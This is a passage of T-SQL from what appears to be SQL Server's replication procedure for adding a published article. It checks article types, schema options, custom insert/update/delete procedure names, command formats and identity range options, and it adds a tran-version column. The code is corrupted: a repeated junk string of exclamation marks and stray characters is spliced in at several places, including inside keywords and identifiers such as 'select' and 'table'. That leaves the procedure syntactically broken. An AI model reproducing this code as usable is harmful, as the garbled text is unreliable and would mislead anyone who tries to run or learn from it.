        **       Note that for the following article types, the 256 bit is not really persisted
        **         257    indexed view logbased
        **         259    indexed view logbased manualfilter
        **         261    indexed view logbased manualview
        **         263    indexed view logbased manualboth
        **         320    indexed view schema only (valid in sys.sp_MSaddschemaarticle)
        */

        SELECT @typeid = case 
                                when (LOWER(@type) = N'logbased' OR LOWER(@type) = N'indexed view logbased') then 1
                                when (LOWER(@type) = N'logbased manualfilter' OR LOWER(@type) = N'indexed view logbased manualfilter') then 3
                                when (LOWER(@type) = N'logbased manualview' OR LOWER(@type) = N'indexed view logbased manualview') then 5
                                when (LOWER(@type) = N'logbased manualboth' OR LOWER(@type) = N'indexed view logbased manualboth') then 7
                                end
        /*
        ** Set the precmdid.  The default type is 'drop'.
        **
        **      @precmdid   pre_creation_cmd
        **      =========   ================
        **			0		none
        **          1		drop
        **          2		delete
        **          3		truncate
        */
        IF LOWER(@pre_creation_cmd) NOT IN (N'none', N'drop', N'delete', N'truncate')
        BEGIN
            RAISERROR (14061, 16, -1)
            GOTO UNDO
        END

        /*
        ** Determine the integer value for the pre_creation_cmd.
        */
        SELECT @precmdid = case 
                                        when (LOWER(@pre_creation_cmd) = N'none') then 0 
                                        when (LOWER(@pre_creation_cmd) = N'drop') then 1 
                                        when (LOWER(@pre_creation_cmd) = N'delete') then 2 
                                        when (LOWER(@pre_creation_cmd) = N'truncate') then 3 
                                     end

        IF @issqlpublisher = 1
        BEGIN
            -- SQL Publisher
            -- process @sync_object
            IF @sync_object IS NULL
            BEGIN
                select @syncid = @tabid
            END
            ELSE
            BEGIN
                IF @sync_object_owner is NULL  -- 6.5 only
                BEGIN
                    /*
                    ** Parameter Check: @sync_object.
                    ** Check to see that the sync_object is local and that it
                    ** conforms to the rules for identifiers.
                    */
                    select @object = PARSENAME( @sync_object, 1 )
                            ,@owner  = PARSENAME(  @sync_object, 2 )
                            ,@db     = PARSENAME(  @sync_object, 3 )
                            ,@site   = PARSENAME(  @sync_object, 4 )

                    if @object IS NULL
                        GOTO UNDO
                    -- LIKE N'%.%.%' doesn't guarantee that the object name 
                    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(C6v&-- is a 3-part name as . can be embedded in a quoted identifier.

                    IF @sync_object LIKE N'%.%.%' AND ISNULL(@db, @dbname) <> @dbname
                    BEGIN
                        RAISERROR (14004, 16, -1, @sync_object)
                        GOTO UNDO
                    END
                END -- end of 65 processing
                else
                BEGIN
                    -- for sphinx, @sync_object_owner can not be null
                    select @sync_object = QUOTENAME(@sync_object_owner) + N'.' + QUOTENAME(@sync_object)
                END

                /*
                **  Get the id of the @sync_object
                */
                SELECT @syncid = OBJECT_ID(@sync_object)
                IF @syncid IS NULL
                BEGIN
                    RAISERROR (14027, 11, -1, @sync_object)
                    GOTO UNDO
                END
                /*
                ** Make sure the sync object specified is a table or a view.
                */
                IF NOT EXISTS (SELECT * FROM sys.objects
                                WHERE object_id = OBJECT_ID(@sync_object)
                                    AND type in ('U','V'))
                BEGIN
                    RAISERROR (14031, 16, -1)
                    GOTO UNDO
                END
            END -- @sync_object is not null

            /*
            ** If the publication is log-based, or allows updating subscribers
            ** make sure there is a primary key on the source table.
            ** or a UCI on the view.
            ** For HetPubs this is done in IHchecktables
            ** NOTE!  sprok in SPSUP.SQL
            */
            IF EXISTS (SELECT * FROM syspublications 
                WHERE pubid = @pubid AND
                        (repl_freq = 0 OR allow_sync_tran = 1 OR @allow_queued_tran = 1))
            BEGIN
                EXEC @fHasPk = sys.sp_MSreplsup_table_has_pk @tabid
                IF @fHasPk = 0
                BEGIN
                    IF EXISTS ( select * from sys.objects 
                        where object_id = OBJECT_ID(@source_table)
                            and type = 'U' )
                    BEGIN
                        RAISERROR (14088, 16, -1, @source_table)
                    END
                    ELSE
                    BEGIN
                        RAISERROR( 14089, 16, -1, @source_table)
                    END
                    GOTO UNDO
                END

                if sys.fn_fcomputedpkimprecise(object_id(@source_table)) = 1
                BEGIN
                    RAISERROR (21730, 16, -1, @source_table)
                    GOTO UNDO
                END
            END
            /*
            ** Parameter Check:  @creation_script and @schema_option
            ** @schema_option cannot be null
            ** If @schema_option is 0, there have to be @creation_script defined.
            */
            IF @schema_option IS NULL
            BEGIN
                -- If publication is enabled for heterogeneous subscriptions
                -- set default schema options to replicate primary key,
                -- and clustered and nonclustered indexes.
                IF @is_enabled_for_het_sub = 1
                BEGIN
                    SELECT @schema_option  = 0x0000000000004071
                END
                ELSE
                BEGIN
                    -- Snapshot publication, no custom proc. generation
                    -- We need insert proc for snapshot publications for DTS.
                    -- Do not generate user triggers by default (0x00100 - user trigger flag)
                    SELECT @schema_option  = case when (@repl_freq = 1 and @allow_dts = 0) 
                                                                then 0x0000000000030071 else 0x0000000000030073 end
                    if (@allow_queued_tran = 1 or @allow_sync_tran = 1)
                        select @schema_option = convert(binary(8),(convert(bigint, @schema_option) | 0x80))
                    if (@is_p2p = 1) -- p2p does not allow replicating timestamp as binary(8)
                        select @schema_option = convert(binary(8),(convert(bigint, @schema_option) | 0x8))
                END
            END
            ELSE
            BEGIN
                -- Raid 504438
                -- For immediate updating subscribers backward compatibility with SQLDMO generated scripting
                -- If 0x80 is not set - we will set it automatically
                if ((@allow_sync_tran = 1) and ((fn_replgetbinary8lodword(@schema_option) & 0x80) = 0))
                begin
                    select @schema_option = convert(binary(8), (convert(bigint,@schema_option) | 0x80))
                end
            END
            --
            -- Parameter Check: @schema_option
            -- If bit 0x2 is set, this cannot be an article for a snapshot publication
            -- For Updating subscribers, DRI_Primary Key option has to be set
            --
            IF ((CONVERT(INT, @schema_option) & 0x2) <> 0) AND (@repl_freq = 1)
            BEGIN
                RAISERROR (21143, 16, -1)
                GOTO UNDO
            END
            else if ((@allow_queued_tran = 1 or @allow_sync_tran = 1) and 
                    ((fn_replgetbinary8lodword(@schema_option) & 0x80) = 0))
            BEGIN
                RAISERROR (21394, 16, 1)
                GOTO UNDO
            END
            --
            -- For a transactional read-only publication, a timestamp column 
            -- cannot be replicated as a timestamp column if it is part of 
            -- the primary key as that will violate the equivalency of 
            -- primary key values that transactional replication is based
            -- on. As such, we will implicitly disable the 0x08 KeepTimestamp
            -- schema option if the primary key of the base table contains
            -- a timestamp column
            --
            if @repl_freq = 0 and ((fn_replgetbinary8lodword(@schema_option) & 0x8) !=0) and exists (
                select c.name
                  from sys.columns c
            inner join sys.index_columns ic
                    on c.column_id = ic.column_id
                   and c.object_id = ic.object_id
                   and ic.is_included_column = 0
            inner join sys.indexes i
                    on i.index_id = ic.index_id
                   and i.object_id = ic.object_id
                   and i.is_primary_key = 1
                 where c.object_id = @tabid
                   and c.system_type_id = 189)
            begin
                set @schema_option = fn_replprepadbinary8(cast(@schema_option as bigint) & ~8)
            end

            --
            -- Check if schema option to keep timestamps is set - if yes then
            -- status bit 32 will always be set internally
            -- For queued updating subscriptions set this by default
            --
            if (@allow_queued_tran =1) or ((fn_replgetbinary8lodword(@schema_option) & 0x8) != 0)
                select @status = (@status | 32) | 8
            --
            -- Set schema_option bit 0x8 if status bit 32 is set
            -- for timestamp columns. This will enable scripting of timestamp
            -- as timestamp on subscriber
            --
            if (@status & 32 = 32) and ((fn_replgetbinary8lodword(@schema_option) & 0x8) = 0)
                select @schema_option = convert(binary(8), (convert(bigint, @schema_option) | 0x8))
            --
            -- For updating subscribers
            -- PK cannot contain Timestamp column
            --
            if ((@allow_sync_tran = 1 or @allow_queued_tran = 1) 
                and (OBJECTPROPERTY ( @tabid , 'TableHasTimestamp' ) = 1))
            begin
                --
                -- get the index id for the source ta!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(C"v&ble
                --
                select @indid = indid 
                from sysindexes
                where id = @tabid and (status & 2048) != 0  
                if (@indid is null)
                begin
                    raiserror (14088, 16, -1, @source_table)
                    goto UNDO
                end
                --
                -- iterate through each column in the PK
                --
                select @i = 1
                while (@i <= 16)
                begin
                    --
                    -- get the column name in the table for this key index
                    --
                    select @pkkey = index_col(@source_table, @indid, @i)
                    if @pkkey is NULL
                        break
                    --
                    -- is this column timestamp
                    --
                    if exists (select * from sys.columns  
                    where object_id = @tabid 
                        and name = @pkkey 
                        and TYPE_NAME(system_type_id) = N'timestamp')
                    begin
                        raiserror(21460, 16, 1, @source_table, @pkkey)
                        goto UNDO
                    end
                    --
                    -- fetch next key
                    --
                    select @i = @i + 1
                end
            end -- updating publication with timestamp

        END -- SQL Publisher

        --
        -- custom proc naming
        --
        -- for the PeerToPeer case we must tack on an int val to the
        -- procs if they are auto-generated custom procedures. this 
        -- will prevent us from overwriting procs from other nodes
        --
        if (@allow_dts = 0 or @is_p2p = 1)
        begin
            -- retrieve a guid and convert it to an int using checksu, to be used in certain naming cases
            select @proctag = replace(convert(nvarchar(12), checksum(newid())), N'-', N'0')

            --
            -- non DTS article
            -- custom proc name is based on destination table name
            -- If destination owner is specified - use it as part of the custom proc name
            --
            if (@destination_owner is null)
            begin
                --
                -- custom proc based on destination table
                -- check the length and truncate as necessary
                -- The call format is of the form XXXXX [sp_MSxxx_custom_proc_name]
                -- We need to adjust for 17 characters(defined as @customprocoffset) in this format
                --
                -- in the p2p case we always want to use the GUID based name to 
                -- ensure each immediate publisher has its own auto procs to use
                if len(@destination_table) < (@customprocmaxlen - @customprocoffset - 1)
                        and @is_p2p = 0
                begin
                    --
                    -- we can have a readable proc name
                    -- 
                    select @custom_proc_name = @destination_table
                end
                else
                begin
                    --
                    -- Use a GUID(32 chars) based name
                    --
                    select @custom_proc_name = substring(@destination_table, 1, (@customprocmaxlen - @customprocoffset - len(@proctag))) + @proctag
                end
            end
            else
            begin
                --
                -- Destination owner is not null - there could be susbscriptions 
                -- in same destination database for articles with same destination 
                -- tables but different owners. We need to create unique custom proc 
                --
                -- If the destination owner and destination table do not exceed
                -- our length limitations - we will prefer using this. Otherwise
                -- we will use a GUID suffix or just GUID name (worst case).
                --
                -- in the p2p case we always want to use the GUID based name to 
                -- ensure each immediate publisher has its own auto procs to use
                if ((len(@destination_owner) + len(@destination_table)) < (@customprocmaxlen - @customprocoffset - 1))
                        and @is_p2p = 0
                begin
                    --
                    -- we can have a readable proc name
                    -- 
                    select @custom_proc_name = (@destination_owner + @destination_table)
                end
                else
                begin
                    --
                    -- Use a GUID(32 chars) based name
                    --
                    select @custom_proc_name = substring(@destination_table, 1, (@customprocmaxlen - @customprocoffset - len(@proctag))) + @proctag
                end
            end

			-- keep in mind that the checks and conversions above handle
            -- cases where no default cmd was provided. this section here
            -- handles the case where a default was entered by the user 
            if @is_p2p = 1 and (CONVERT(int, @schema_option) & 0x2) != 0
            begin
                if left(upper(@ins_cmd), 5) in (N'CALL ', N'SCALL')
                begin
                    select @ins_cmd = sys.fn_repltagcustomproc(@ins_cmd, @proctag)
                end

                if left(upper(@upd_cmd), 5) in (N'CALL ', N'XCALL', N'MCALL', N'VCALL', N'SCALL')
                begin
                    select @upd_cmd = sys.fn_repltagcustomproc(@upd_cmd, @proctag)
                end

                if left(upper(@del_cmd), 5) in (N'CALL ', N'XCALL', N'VCALL')
                begin
                    select @del_cmd = sys.fn_repltagcustomproc(@del_cmd, @proctag)
                end
            end
        end -- if (@allow_dts = 0 or @is_p2p = 1)
        else
        begin
            --
            -- DTS based article
            -- For DTS - custom proc name is based on article name
            --
            select @custom_proc_name = case 
                    when (len(@article) < (@customprocmaxlen - @customprocoffset - 1)) then @article
                    else substring(@article, 1, (@customprocmaxlen - @customprocoffset)) end
        end

        --
        -- Publication allow dts/updating subscribers must use parameterized commands and 
        -- ins/upd/del commands are generated internally and are fixed 
        -- (they will used as keys to find the correct transformations)
        -- NOTE: we will perform the quotename() for the custom proc names later
        --
        if (@allow_dts = 1 or @allow_queued_tran = 1 or @allow_sync_tran = 1)
        begin
            select @valid_ins_cmd = N'CALL sp_MSins_' + @custom_proc_name
            IF @repl_freq = 0
            begin
                --
                -- for updating subscribers INS/UPD/DEL will use CALL/VCALL/VCALL respectively
                -- for backwards compatibility of updating subscribers, we will support XCALL for UPD/DEL
                --
                if (@allow_queued_tran = 1 or @allow_sync_tran = 1)
                begin
                    --
                    -- Check if user specified custom commands
                    -- Update/Delete call format should be either XCALL or VCALL
                    --
                    select @valid_ins_cmd = case when (@ins_cmd is not null and (upper(left(@ins_cmd, 5)) = N'CALL ') ) 
                                                            then @ins_cmd 
                                                            else @valid_ins_cmd end
                            ,@valid_upd_cmd = case when (@upd_cmd is not null and (upper(left(@upd_cmd, 5)) in (N'XCALL', N'VCALL')))
                                                            then @upd_cmd 
     !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(CLv&                                                       else N'VCALL sp_MSupd_' + @custom_proc_name end
                            ,@valid_del_cmd = case when (@del_cmd is not null and (upper(left(@del_cmd, 5)) in (N'XCALL', N'VCALL'))) 
                                                            then @del_cmd 
                                                            else N'VCALL sp_MSdel_' + @custom_proc_name end
                end
                --
                -- for DTS INS/UPD/DEL commands will use CALL/XCALL/XCALL formats respectively
                --
                if (@allow_dts = 1)
                begin
                        select @valid_upd_cmd = case when ((@status & 16) != 16) then N'CALL sp_MSupd_' + @custom_proc_name 
                                                                        else N'XCALL sp_MSXpd_' + @custom_proc_name end
                                ,@valid_del_cmd = N'XCALL sp_MSdel_' + @custom_proc_name
                end
            end -- IF @repl_freq = 0
            else
            begin
                select @valid_upd_cmd = N'SQL'
                        ,@valid_del_cmd = N'SQL'
            end

            if (@allow_dts = 1)
            begin
                -- For publication allows DTS, @status can only be 16 or 64
                if  ((@status & 16) != 16) and ((@status & 64) != 64)
                begin
                    raiserror(21174, 16, -1)
                    GOTO UNDO
                end
                if (@ins_cmd is not null and lower(sys.fn_repltranquotecustomproc(@ins_cmd,@prependDBO)) != lower(sys.fn_repltranquotecustomproc(@valid_ins_cmd,@prependDBO))) 
                    raiserror(21101, 10, 1, @ins_cmd, N'@ins_cmd', N'transformable subscriptions using DTS')
                if (@upd_cmd is not null and lower(sys.fn_repltranquotecustomproc(@upd_cmd,@prependDBO)) != lower(sys.fn_repltranquotecustomproc(@valid_upd_cmd,@prependDBO))) 
                    raiserror(21101, 10, 2, @upd_cmd, N'@upd_cmd', N'transformable subscriptions using DTS')
                if (@del_cmd is not null and lower(sys.fn_repltranquotecustomproc(@del_cmd,@prependDBO)) != lower(sys.fn_repltranquotecustomproc(@valid_del_cmd,@prependDBO)))
                    raiserror(21101, 10, 3, @del_cmd, N'@del_cmd', N'transformable subscriptions using DTS')
            end 
            else if (@allow_queued_tran = 1 or @allow_sync_tran = 1)
            begin
                if  (@ins_cmd is not null and lower(sys.fn_repltranquotecustomproc(@ins_cmd,@prependDBO)) != lower(sys.fn_repltranquotecustomproc(@valid_ins_cmd,@prependDBO)))
                    raiserror(21101, 10, 4, @ins_cmd, N'@ins_cmd', N'updateable subscribers')
                if (@upd_cmd is not null and lower(sys.fn_repltranquotecustomproc(@upd_cmd,@prependDBO)) != lower(sys.fn_repltranquotecustomproc(@valid_upd_cmd,@prependDBO)))
                    raiserror(21101, 10, 5, @upd_cmd, N'@upd_cmd', N'updateable subscribers')
                if (@del_cmd is not null and lower(sys.fn_repltranquotecustomproc(@del_cmd,@prependDBO)) != lower(sys.fn_repltranquotecustomproc(@valid_del_cmd,@prependDBO)))
                    raiserror(21101, 10, 6, @del_cmd, N'@del_cmd', N'updateable subscribers')
            end
                
            select @ins_cmd = @valid_ins_cmd
                    ,@upd_cmd = @valid_upd_cmd
                    ,@del_cmd = @valid_del_cmd
        end -- if (@allow_dts = 1 or @allow_queued_tran = 1 or @allow_sync_tran = 1)
        else if @is_p2p = 1
        begin
        	-- defaults if values were not set...
            select @ins_cmd = ISNULL(@ins_cmd, N'CALL ' + convert (sysname, N'i_' + @custom_proc_name))
                    ,@upd_cmd = ISNULL(@upd_cmd, N'SCALL ' + convert (sysname, N'u_' + @custom_proc_name))
                    ,@del_cmd = ISNULL(@del_cmd, N'CALL ' + convert (sysname, N'd_' + @custom_proc_name))
        end
        -- If pub sync_type is character mode bcp(1) 
        else if @sync_method = 1
        begin
            -- Parameterized command is not supported. Mask it off.
            -- select @status = @status & ~16
            -- Parameterized format is now supported for character mode bcp
            if @ins_cmd is NULL  select @ins_cmd = N'SQL'
            if @upd_cmd is NULL  select @upd_cmd = N'SQL'
            if @del_cmd is NULL  select @del_cmd = N'SQL'
        end

        /*
        ** Parameter Check: @schema_option
        ** If Autogeneration of custom procedures is not enabled
        ** or the publication supports heterogeneous subscriptions 
        ** then the default commands will be SQL
        */
        IF ((CONVERT(int, @schema_option) & 0x2) = 0) OR
                (@is_enabled_for_het_sub = 1)
        BEGIN
            if @ins_cmd is NULL  select @ins_cmd = N'SQL'
            if @upd_cmd is NULL  select @upd_cmd = N'SQL'
            if @del_cmd is NULL  select @del_cmd = N'SQL'
        END

        -- If no command then construct name 
        select @usecustomprocs = case 
                when (((@status & 16) <> 0 AND @issqlpublisher = 1) OR
                            (@sync_method = 4 AND @issqlpublisher = 0))
                then 1 else 0 end
                
        if @ins_cmd is NULL
        begin
            select @ins_cmd = case 
                                when @usecustomprocs = 1
                                then
                                    case when (@source_object is NULL) 
                                            then -- 6.x compatible
                                                N'CALL ' + convert(nvarchar(30), N'sp_MSins_' + @custom_proc_name)
                                            else -- 7.0 format
                                                N'CALL ' + convert (sysname, N'sp_MSins_' + @custom_proc_name)
                                            end
                                else 
                                    N'SQL'
                                end
        end

        if @del_cmd is NULL
        begin
            select @del_cmd = case 
                                when @usecustomprocs = 1
                                then
                                    case when (@source_object is NULL) 
                                            then -- 6.x compatible
                                                N'CALL ' + convert(nvarchar(30), 'sp_MSdel_' + @custom_proc_name)
                                            else -- 7.0 format
                                                N'CALL ' + convert (sysname, 'sp_MSdel_' + @custom_proc_name)
                                            end
                                else 
                                    N'SQL'
                                end
        end

        if @upd_cmd is NULL
        begin
            select @upd_cmd = case 
                                when @usecustomprocs = 1
                                then
                                    case when (@source_object is NULL) 
                                            then -- 6.x compatible
                                                N'CALL ' + convert(nvarchar(30), 'sp_MSupd_' + @custom_proc_name)
                                            else -- 7.0 format
                                                N'SCALL ' + convert (sysname, 'sp_MSupd_' + @custom_proc_name)
                                            end
                                else 
                                    N'SQL'
                                end
        end
    
        /*
        ** Parameter Check:  @ins_cmd, @del_cmd, @upd_cmd
        ** Check to see that the cmds are valid
        */
        select @ins_cmd = rtrim(ltrim(@ins_cmd))
                ,@del_cmd = rtrim(ltrim(@del_cmd))
                ,@upd_cmd = rtrim(ltrim(@upd_cmd))

        IF @issqlpublisher = 1
        begin

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(C!|Gv&
            if @ins_cmd is not null 
                and sys.fn_MSrepltranparsecmdtype(@ins_cmd) not in (N'', N'NONE', N'SQL', N'CALL ', N'SCALL')
            begin
                -- Invalid '@ins_cmd' specified. It must be NONE, SQL, CALL sp_MSins_article, SCALL sp_MSins_article or CALL custom_stored_procedure_name.
                raiserror (15251, 16, 1, '@ins_cmd', 'NONE, SQL, CALL sp_MSins_article, SCALL sp_MSins_article or CALL custom_stored_procedure_name')
                goto UNDO
            end

            if @del_cmd is not null 
                and sys.fn_MSrepltranparsecmdtype(@del_cmd) not in (N'', N'NONE', N'SQL', N'CALL ', N'XCALL', N'VCALL')
            begin
                -- Invalid '@del_cmd' specified. It must be NONE, SQL, CALL sp_MSdel_article, XCALL sp_MSdel_article or CALL custom_stored_procedure_name.
                raiserror (15251, 16, 1, '@del_cmd', 'NONE, SQL, CALL sp_MSdel_article, XCALL sp_MSdel_article, VCALL sp_MSdel_article or CALL custom_stored_procedure_name')
                goto UNDO
            end

            if @upd_cmd is not null 
                and sys.fn_MSrepltranparsecmdtype(@upd_cmd) not in (N'', N'NONE', N'SQL', N'CALL ', N'XCALL', N'MCALL', N'VCALL', N'SCALL')
            begin
                -- Invalid '@upd_cmd' specified. It must be NONE, SQL, CALL sp_MSdel_article, XCALL sp_MSdel_article or MCALL sp_MSdel_article.
                raiserror (15251, 16, 1, '@upd_cmd', 'NONE, SQL, CALL sp_MSupd_article, XCALL sp_MSupd_article, MCALL sp_MSupd_article, VCALL sp_MSupd_article or SCALL sp_MSupd_article')
                goto UNDO
            end
        end -- SQL publisher
        else
        begin -- HREPL publisher
            if @ins_cmd is not null 
                and sys.fn_MSrepltranparsecmdtype(@ins_cmd) not in (N'', N'NONE', N'SQL', N'CALL ')
            begin
                -- Invalid '@ins_cmd' specified. It must be NONE, SQL, CALL sp_MSins_article or CALL custom_stored_procedure_name.
                raiserror (15251, 16, 1, '@ins_cmd', 'NONE, SQL, CALL sp_MSins_article or CALL custom_stored_procedure_name')
                goto UNDO
            end

            if @del_cmd is not null 
                and sys.fn_MSrepltranparsecmdtype(@del_cmd) not in (N'', N'NONE', N'SQL', N'CALL ', N'XCALL')
            begin
                -- Invalid '@del_cmd' specified. It must be NONE, SQL, CALL sp_MSdel_article, XCALL sp_MSdel_article or CALL custom_stored_procedure_name.
                raiserror (15251, 16, 1, '@del_cmd', 'NONE, SQL, CALL sp_MSdel_article, XCALL sp_MSdel_article or CALL custom_stored_procedure_name')
                goto UNDO
            end

            if @upd_cmd is not null 
                and sys.fn_MSrepltranparsecmdtype(@upd_cmd) not in (N'', N'NONE', N'SQL', N'CALL ', N'XCALL', N'MCALL', N'SCALL')
            begin
                -- Invalid '@upd_cmd' specified. It must be NONE, SQL, CALL sp_MSdel_article, XCALL sp_MSdel_article, MCALL sp_MSdel_article or CALL custom_stored_procedure_name.
                raiserror (15251, 16, 1, '@upd_cmd', 'NONE, SQL, CALL sp_MSupd_article, XCALL sp_MSupd_article, MCALL sp_MSupd_article, CALL custom_stored_procedure_name or SCALL sp_MSupd_article')
                goto UNDO
            end
        end
        --
        -- Parameter Check:  @identityrangemanagementoption.
        -- We will override the value specified in @auto_identity_range if
        -- @identityrangemanagementoption is not null
        --
        if (@identityrangemanagementoption is NULL)
        begin
            --
            -- @identityrangemanagementoption is null
            -- for P2P the default is MANUAL
            -- for others - Check @auto_identity_range
            --
            IF @is_p2p = 1
            begin
                select @identityrangemanagementoption = N'manual'
            end
            else if @auto_identity_range IS NULL 
            begin
                --
                -- user did not specify any explicit values for identity management
                --
                select @identityrangemanagementoption = N'none'
            end
            else if LOWER(@auto_identity_range) IN (N'true', N'false')
            begin
                --
                -- map the value of @auto_identity_range to @identityrangemanagementoption
                --
                select @identityrangemanagementoption = case when LOWER(@auto_identity_range) = N'true' then N'auto' else N'none' end
                --
                -- Issue warning on deprecation of this option
                --
                raiserror (21767, 10, 1, '@auto_identity_range', '@identityrangemanagementoption')
            end
            else
            BEGIN
                -- invalid value for @auto_identity_range
                RAISERROR (14148, 16, -1, '@auto_identity_range')
                GOTO UNDO
            END
         end
         else
         begin
            --
            -- validate @identityrangemanagementoption
            --
            if LOWER(@identityrangemanagementoption) NOT IN (N'none', N'manual', N'auto')
            BEGIN
                -- invalid value for @identityrangemanagementoption
                RAISERROR (20644, 16, -1, @identityrangemanagementoption)
                GOTO UNDO
            END
            select @identityrangemanagementoption = lower(@identityrangemanagementoption)
        end
        --
        -- Identity range is not supported with an Oracle publisher
        --
        IF @issqlpublisher = 0 AND @identityrangemanagementoption != N'none'
        BEGIN
            RAISERROR (21632, 16, -1, '@identityrangemanagementoption', '''none'' or NULL')
            GOTO UNDO
        END
        --
        -- P2P can only handle MANUAL identity range
        --
        IF @is_p2p = 1 AND NOT (@identityrangemanagementoption IS NULL OR @identityrangemanagementoption = N'manual')
        BEGIN
            -- Peer-To-Peer publications only support an '@identityrangemanagementoption' parameter value of 'manual'.
            RAISERROR (21679, 16, -1, '@identityrangemanagementoption', '''manual''')
            GOTO UNDO
        END
        --
        -- set schema_option for scripting identity as identity
        -- if this is a queued publication or @identityrangemanagementoption is AUTO or MANUAL 
        -- for Queued case when @identityrangemanagementoption is NONE we still script identity as indentity. 
        -- We will not mark it as NFR
        --
        if @allow_queued_tran = 1 or (((convert(int, @schema_option) & 0x4) = 0) and @identityrangemanagementoption in (N'manual', N'auto'))
        begin
            select @schema_option = convert(binary(8), (convert(bigint,@schema_option) | 0x4))
        end
        --
        -- if @identityrangemanagementoption is NONE 
        -- and it is not enabled for queued 
        -- and schema_option for scripting identity is set
        -- and the table has identity field
        -- then this is an error
        --
        if (((convert(int, @schema_option) & 0x4) != 0) 
                and @identityrangemanagementoption = N'none' 
                and @allow_queued_tran = 0
                and @tablehasidentity = 1)
        begin
            raiserror(21830, 16, 1, @article)
            goto UNDO
        end
        --
        -- SQL Server specific
        --
        IF @issqlpublisher = 1  -- Oracle publications do not allow immediate update subscribers
        BEGIN
            --
            -- Special check for identity based article with SQL call format
            -- column specification bit 8 in status should be set - this is needed
            -- Shiloh server for NFR processing during insert
            --
            if @tablehasidentity = 1 and upper(@ins_cmd) = N'SQL'  and (@status & 8 != 8)
            begin
                sel!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(C%3`6v&ect @status = @status | 8
            end

            --
            -- Updating subscriber article and VCALL format
            -- Add guid column if not exists
            --
            if (@allow_sync_tran = 1 or @allow_queued_tran = 1 or 
                (upper(left(@del_cmd, 5)) = N'VCALL') or (upper(left(@upd_cmd, 5)) = N'VCALL'))
            begin
                --
                -- generate a unique constraint name
                --
                select @constraint_name = N'MSrepl_tran_version_default_' + 
                    replace(cast(newid()as nvarchar(70)), N'-', N'_') + N'_' + convert(nvarchar(10), @tabid)

                SELECT @MSrepl_tran_version_datatype = TYPE_NAME(system_type_id)
                            ,@colid = column_id
                            ,@fcolnullable = is_nullable
                FROM sys.columns  
                WHERE object_id = @tabid AND name = N'msrepl_tran_version'
                --
                -- Creating a label here as there are code paths below that will come here
                -- if we drop the column by force and want to recreate the column
                --
                create_msrepl_tran_version:
                if (@MSrepl_tran_version_datatype IS NULL)
                begin
                    --
                    -- column does not exist
                    --
                    if (@allow_sync_tran = 1 or @allow_queued_tran = 1)
                    begin
                        --
                        -- processing a updating subscriber article - add the column
                        --
                        if exists (select * from sys.tables where object_id = @tabid and is_merge_published = 1 )
                        begin
                            --
                            -- if being merged, call stored procedure to add this column.
                            --
                            select @typetext = N'uniqueidentifier not null constraint ' + @constraint_name + N' default newid()'
                            exec @retcode = sys.sp_repladdcolumn @source_object=@source_table,
                                                                                @column = N'msrepl_tran_version',
                                                                                @typetext= @typetext
                            if @@ERROR<>0 or @retcode<>0
                                GOTO UNDO
                        end
                        else
                        begin
                            --
                            -- for transaction publication
                            -- ensure the proper flags are on
                            --
                            exec( N' set ANSI_NULLS on set QUOTED_IDENTIFIER on  set ARITHABORT on ' + 
                                    N'alter table ' + @source_table + N' add msrepl_tran_version uniqueidentifier not null constraint ' + @constraint_name + N' default newid() ' )
                            IF @@ERROR <> 0 
                            begin
                                raiserror(21564, 16,1, @source_table)
                                GOTO UNDO
                            end
                        end
                        select @MSrepl_tran_version_datatype = N'uniqueidentifier'
                    end -- processing updating subscriber article
                    else
                    begin
                        --
                        -- Not an updating subscriber article but is using VCALL format
                        -- for update and/or delete commands - return error
                        --
                        raiserror(21567, 16, -1) 
                        GOTO UNDO
                    end
                end  -- column does not exist
                else
                begin
                    --
                    -- column exists, it should be of type uniqueidentifier
                    --
                    if (@MSrepl_tran_version_datatype != N'uniqueidentifier')
                    begin
                        raiserror(21192, 16, -1) 
                        GOTO UNDO
                    end
                    --
                    -- It should not allow nulls
                    --
                    if (@fcolnullable = 1)
                    begin
                        --
                        -- drop the column
                        --
                        raiserror(21765, 10, 1)
                        exec( N' set ANSI_NULLS on set QUOTED_IDENTIFIER on  set ARITHABORT on ' + 
                                    N'alter table ' + @source_table + N' drop column msrepl_tran_version ' )
                        IF @@ERROR <> 0 
                        begin
                            raiserror(21564, 16,1, @source_table)
                            GOTO UNDO
                        end
                        --
                        -- reset the variables
                        --
                        select @MSrepl_tran_version_datatype = NULL
                                ,@colid = NULL
                                ,@fcolnullable = NULL
                        --
                        -- create the column
                        --
                        goto create_msrepl_tran_version
                    end
                    --
                    -- Create the default constraint if it is not there
                    --
                    if not exists (select * from dbo.sysconstraints where
                                            id = @tabid and 
                                            colid = @colid and
                                            OBJECTPROPERTY ( constid , N'IsDefaultCnst' ) = 1) -- default
                    begin 
                        if not exists (select * from sys.objects where name = @constraint_name)
                        begin
                            exec (N'alter table ' + @source_table + 
                                        N' add constraint ' + @constraint_name + 
                                        N' default newid() for msrepl_tran_version')
                            if @@ERROR <> 0
                                GOTO UNDO
                        end
                    end
                end
            end -- if (@allow_sync_tran = 1 or @allow_queued_tran = 1 or VCALL for del or update)
            --
            -- allow custom procedure to have spaces and special characters
            -- we will quote the custom procedure as follows:
            -- XXXX sp_MSxxx_custom_proc_name or XXXX x_GUID will become
            -- XXXX [dbo].[sp_MSxxx_custom_proc_name] or XXXX [dbo].[x_GUID]
            -- if the custom procedure is already quoted in some form - user
            -- specified custom procedure name - then we will not change it
            --
            if (upper(left(@ins_cmd, 5)) in (N'CALL ', N'SCALL'))
            begin
                set @tmp_cmd = @ins_cmd
                select @ins_cmd = sys.fn_repltranquotecustomproc(@ins_cmd,@prependDBO) 
                if @ins_cmd = N''
                begin
                	raiserror (22829, 16, -1, @tmp_cmd, N'dbo', 255)
                     goto UNDO
                end
            end
            if (upper(left(@del_cmd, 5)) in (N'CALL ', N'XCALL', N'VCALL'))
            begin
                set @tmp_cmd = @del_cmd
                select @del_cmd = sys.fn_repltranquotecustomproc(@del_cmd,@prependDBO) 
                if @del_cmd = N''
                begin
                	raiserror (22829, 16, -1, @tmp_cmd, N'dbo', 255)
                     goto UNDO
                end                
            end
            if (upper(left(@upd_cmd, 5)) in (N'CALL ', N'XCALL', N'MCALL', N'VCALL', N'SCALL'))
            begin
                set @tmp_cmd = @upd_cmd
